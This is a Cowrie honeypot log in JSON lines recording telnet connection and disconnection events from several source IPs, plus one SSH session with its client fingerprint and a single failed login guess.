{"eventid":"cowrie.session.closed","duration":30.538623809814453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:59.089443Z","src_ip":"146.185.21.169","session":"88523f0c1ca1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":46552,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed584a7a90af","protocol":"telnet","message":"New connection: 62.72.47.216:46552 (10.17.0.5:23) [session: ed584a7a90af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:40:59.674857Z"}
{"eventid":"cowrie.session.closed","duration":31.329644203186035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:00.456496Z","src_ip":"146.185.21.169","session":"aa32879c5005","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":39984,"dst_ip":"10.17.0.5","dst_port":23,"session":"33f1dc6e5ce5","protocol":"telnet","message":"New connection: 94.46.12.68:39984 (10.17.0.5:23) [session: 33f1dc6e5ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:01.336173Z"}
{"eventid":"cowrie.session.closed","duration":31.29165244102478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:01.690868Z","src_ip":"94.46.12.68","session":"e9825ecdb151","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":50606,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbc711db94f4","protocol":"telnet","message":"New connection: 62.72.47.216:50606 (10.17.0.5:23) [session: bbc711db94f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:02.000505Z"}
{"eventid":"cowrie.session.closed","duration":33.35028862953186,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:02.285235Z","src_ip":"146.185.21.169","session":"6d600e87b8e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.185168743133545,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:02.433961Z","src_ip":"103.82.231.165","session":"6f0dfd93aa05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":57480,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2286ce0e435","protocol":"telnet","message":"New connection: 146.185.21.169:57480 (10.17.0.5:23) [session: a2286ce0e435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:04.002812Z"}
{"eventid":"cowrie.session.closed","duration":34.68104100227356,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:04.542068Z","src_ip":"103.82.231.165","session":"2bedf4d74608","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.2833936214447,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:05.516208Z","src_ip":"103.115.172.252","session":"1773d88e8ff6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19908833503723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:06.990085Z","src_ip":"94.46.12.68","session":"0733be5a76db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.332589626312256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:09.397654Z","src_ip":"62.72.47.216","session":"031ddc9a7834","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67879295349121,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:10.094037Z","src_ip":"94.46.12.68","session":"550e011b37d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":57558,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f0a2a3568ea","protocol":"telnet","message":"New connection: 94.46.12.68:57558 (10.17.0.5:23) [session: 6f0a2a3568ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:10.843843Z"}
{"eventid":"cowrie.session.closed","duration":33.59204053878784,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:11.258044Z","src_ip":"103.82.231.165","session":"ecdebf0f7d92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":41018,"dst_ip":"10.17.0.5","dst_port":23,"session":"0940ebd90262","protocol":"telnet","message":"New connection: 146.185.21.169:41018 (10.17.0.5:23) [session: 0940ebd90262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:11.880443Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":60368,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7eba8fc939f","protocol":"telnet","message":"New connection: 94.46.12.68:60368 (10.17.0.5:23) [session: a7eba8fc939f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:12.426061Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":40190,"dst_ip":"10.17.0.5","dst_port":23,"session":"b89807b7bc6b","protocol":"telnet","message":"New connection: 146.185.21.169:40190 (10.17.0.5:23) [session: b89807b7bc6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:12.434421Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":42792,"dst_ip":"10.17.0.5","dst_port":23,"session":"2de8ab3c415b","protocol":"telnet","message":"New connection: 62.72.47.216:42792 (10.17.0.5:23) [session: 2de8ab3c415b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:12.459791Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":36038,"dst_ip":"10.17.0.5","dst_port":23,"session":"90fc3f1d1292","protocol":"telnet","message":"New connection: 94.46.12.68:36038 (10.17.0.5:23) [session: 90fc3f1d1292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:14.577394Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":37942,"dst_ip":"10.17.0.5","dst_port":23,"session":"e33cc13fbc06","protocol":"telnet","message":"New connection: 94.46.12.68:37942 (10.17.0.5:23) [session: e33cc13fbc06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:15.530867Z"}
{"eventid":"cowrie.session.closed","duration":31.060662031173706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:16.055273Z","src_ip":"146.185.21.169","session":"8c937d3148bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":55848,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa23586e55ea","protocol":"telnet","message":"New connection: 62.72.47.216:55848 (10.17.0.5:23) [session: fa23586e55ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:18.791216Z"}
{"eventid":"cowrie.session.closed","duration":33.49993920326233,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:19.012769Z","src_ip":"103.82.231.165","session":"885ddd21e7e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.721991062164307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:19.045566Z","src_ip":"146.185.21.169","session":"7283dfece0e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.183250904083252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:21.656464Z","src_ip":"146.185.21.169","session":"ccb456952559","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":56350,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c3d745cfbcf","protocol":"telnet","message":"New connection: 146.185.21.169:56350 (10.17.0.5:23) [session: 4c3d745cfbcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:21.689416Z"}
{"eventid":"cowrie.session.closed","duration":31.528419971466064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:21.854297Z","src_ip":"94.46.12.68","session":"e3111259e2ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":50586,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b66eac03da6","protocol":"telnet","message":"New connection: 146.185.21.169:50586 (10.17.0.5:23) [session: 7b66eac03da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:21.862720Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":54120,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ea041d06ce1","protocol":"telnet","message":"New connection: 146.185.21.169:54120 (10.17.0.5:23) [session: 9ea041d06ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:23.173113Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":32922,"dst_ip":"10.17.0.5","dst_port":23,"session":"e896d896224c","protocol":"telnet","message":"New connection: 146.185.21.169:32922 (10.17.0.5:23) [session: e896d896224c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:24.767195Z"}
{"eventid":"cowrie.session.closed","duration":30.955748319625854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:26.296580Z","src_ip":"94.46.12.68","session":"32bcfac427bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":35744,"dst_ip":"10.17.0.5","dst_port":23,"session":"d48de58a18dd","protocol":"telnet","message":"New connection: 146.185.21.169:35744 (10.17.0.5:23) [session: d48de58a18dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:26.646725Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":58154,"dst_ip":"10.17.0.5","dst_port":23,"session":"e79c354c934e","protocol":"telnet","message":"New connection: 94.46.12.68:58154 (10.17.0.5:23) [session: e79c354c934e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:27.536348Z"}
{"eventid":"cowrie.session.closed","duration":30.48220992088318,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:30.156948Z","src_ip":"62.72.47.216","session":"ed584a7a90af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906946420669556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:32.242960Z","src_ip":"94.46.12.68","session":"33f1dc6e5ce5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21665072441101,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:33.217011Z","src_ip":"62.72.47.216","session":"bbc711db94f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":35108,"dst_ip":"10.17.0.5","dst_port":23,"session":"077cbf45bb6b","protocol":"telnet","message":"New connection: 103.82.231.165:35108 (10.17.0.5:23) [session: 077cbf45bb6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:34.433329Z"}
{"eventid":"cowrie.session.closed","duration":0.005483388900756836,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:34.438693Z","src_ip":"103.82.231.165","session":"077cbf45bb6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05284595489502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:35.055522Z","src_ip":"146.185.21.169","session":"a2286ce0e435","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.665807485580444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:41.509545Z","src_ip":"94.46.12.68","session":"6f0a2a3568ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67679214477539,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:43.136512Z","src_ip":"62.72.47.216","session":"2de8ab3c415b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.082783699035645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:43.508737Z","src_ip":"94.46.12.68","session":"a7eba8fc939f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.253.124","src_port":39998,"dst_ip":"10.17.0.5","dst_port":23,"session":"e989990c00ec","protocol":"telnet","message":"New connection: 134.209.253.124:39998 (10.17.0.5:23) [session: e989990c00ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:44.218169Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.253.124","src_port":40134,"dst_ip":"10.17.0.5","dst_port":23,"session":"5acc492785a7","protocol":"telnet","message":"New connection: 134.209.253.124:40134 (10.17.0.5:23) [session: 5acc492785a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:45.273917Z"}
{"eventid":"cowrie.session.closed","duration":30.76259469985962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:45.339851Z","src_ip":"94.46.12.68","session":"90fc3f1d1292","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.099895238876343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:46.630632Z","src_ip":"94.46.12.68","session":"e33cc13fbc06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":43426,"dst_ip":"10.17.0.5","dst_port":23,"session":"8179cb22b850","protocol":"telnet","message":"New connection: 94.46.12.68:43426 (10.17.0.5:23) [session: 8179cb22b850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:48.329125Z"}
{"eventid":"cowrie.session.closed","duration":30.37975525856018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:49.170575Z","src_ip":"62.72.47.216","session":"fa23586e55ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.07782983779907,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:51.958141Z","src_ip":"146.185.21.169","session":"0940ebd90262","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.841336250305176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:52.530626Z","src_ip":"146.185.21.169","session":"4c3d745cfbcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":51228,"dst_ip":"10.17.0.5","dst_port":23,"session":"dda07f9f8e56","protocol":"telnet","message":"New connection: 94.46.12.68:51228 (10.17.0.5:23) [session: dda07f9f8e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:52.595632Z"}
{"eventid":"cowrie.session.closed","duration":31.460519552230835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:54.633243Z","src_ip":"146.185.21.169","session":"9ea041d06ce1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":59090,"dst_ip":"10.17.0.5","dst_port":22,"session":"d12accba66c6","protocol":"ssh","message":"New connection: 181.65.191.218:59090 (10.17.0.5:22) [session: d12accba66c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:56.089417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:56.094594Z","src_ip":"181.65.191.218","session":"d12accba66c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:56.222694Z","src_ip":"181.65.191.218","session":"d12accba66c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user54321","message":"login attempt [user/user54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:56.721014Z","src_ip":"181.65.191.218","session":"d12accba66c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":59764,"dst_ip":"10.17.0.5","dst_port":23,"session":"c22cc2c0120a","protocol":"telnet","message":"New connection: 146.185.21.169:59764 (10.17.0.5:23) [session: c22cc2c0120a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:56.752077Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":33078,"dst_ip":"10.17.0.5","dst_port":23,"session":"fda2dd08d147","protocol":"telnet","message":"New connection: 94.46.12.68:33078 (10.17.0.5:23) [session: fda2dd08d147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:57.733043Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:57.840786Z","src_ip":"181.65.191.218","session":"d12accba66c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.66583800315857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:41:58.200856Z","src_ip":"94.46.12.68","session":"e79c354c934e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":60950,"dst_ip":"10.17.0.5","dst_port":23,"session":"23ba9c592342","protocol":"telnet","message":"New connection: 146.185.21.169:60950 (10.17.0.5:23) [session: 23ba9c592342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:00.938778Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":39468,"dst_ip":"10.17.0.5","dst_port":23,"session":"d516fb0a881c","protocol":"telnet","message":"New connection: 94.46.12.68:39468 (10.17.0.5:23) [session: d516fb0a881c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:01.160715Z"}
{"eventid":"cowrie.session.closed","duration":49.75642776489258,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:02.190755Z","src_ip":"146.185.21.169","session":"b89807b7bc6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":68.01127028465271,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:02.899821Z","src_ip":"146.185.21.169","session":"02dbaf209f6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":47382,"dst_ip":"10.17.0.5","dst_port":23,"session":"da10375234fc","protocol":"telnet","message":"New connection: 62.72.47.216:47382 (10.17.0.5:23) [session: da10375234fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:03.841003Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":49386,"dst_ip":"10.17.0.5","dst_port":23,"session":"828e25a7a317","protocol":"telnet","message":"New connection: 62.72.47.216:49386 (10.17.0.5:23) [session: 828e25a7a317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:04.883890Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":35616,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c3c697926f6","protocol":"telnet","message":"New connection: 146.185.21.169:35616 (10.17.0.5:23) [session: 3c3c697926f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:04.916700Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":34620,"dst_ip":"10.17.0.5","dst_port":23,"session":"e21debea0269","protocol":"telnet","message":"New connection: 146.185.21.169:34620 (10.17.0.5:23) [session: e21debea0269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:05.074641Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":56912,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f5185bd52a5","protocol":"telnet","message":"New connection: 62.72.47.216:56912 (10.17.0.5:23) [session: 7f5185bd52a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:08.035744Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":54662,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b8e6a0bfdd9","protocol":"telnet","message":"New connection: 94.46.12.68:54662 (10.17.0.5:23) [session: 0b8e6a0bfdd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:08.770747Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":38308,"dst_ip":"10.17.0.5","dst_port":23,"session":"58d530105126","protocol":"telnet","message":"New connection: 146.185.21.169:38308 (10.17.0.5:23) [session: 58d530105126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:10.021042Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":33888,"dst_ip":"10.17.0.5","dst_port":23,"session":"55d6a05253ed","protocol":"telnet","message":"New connection: 62.72.47.216:33888 (10.17.0.5:23) [session: 55d6a05253ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:10.141331Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":34580,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d4fc4feef91","protocol":"telnet","message":"New connection: 62.72.47.216:34580 (10.17.0.5:23) [session: 1d4fc4feef91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:10.559797Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":34908,"dst_ip":"10.17.0.5","dst_port":23,"session":"eef6cbda73ed","protocol":"telnet","message":"New connection: 62.72.47.216:34908 (10.17.0.5:23) [session: eef6cbda73ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:42:10.634382Z"}
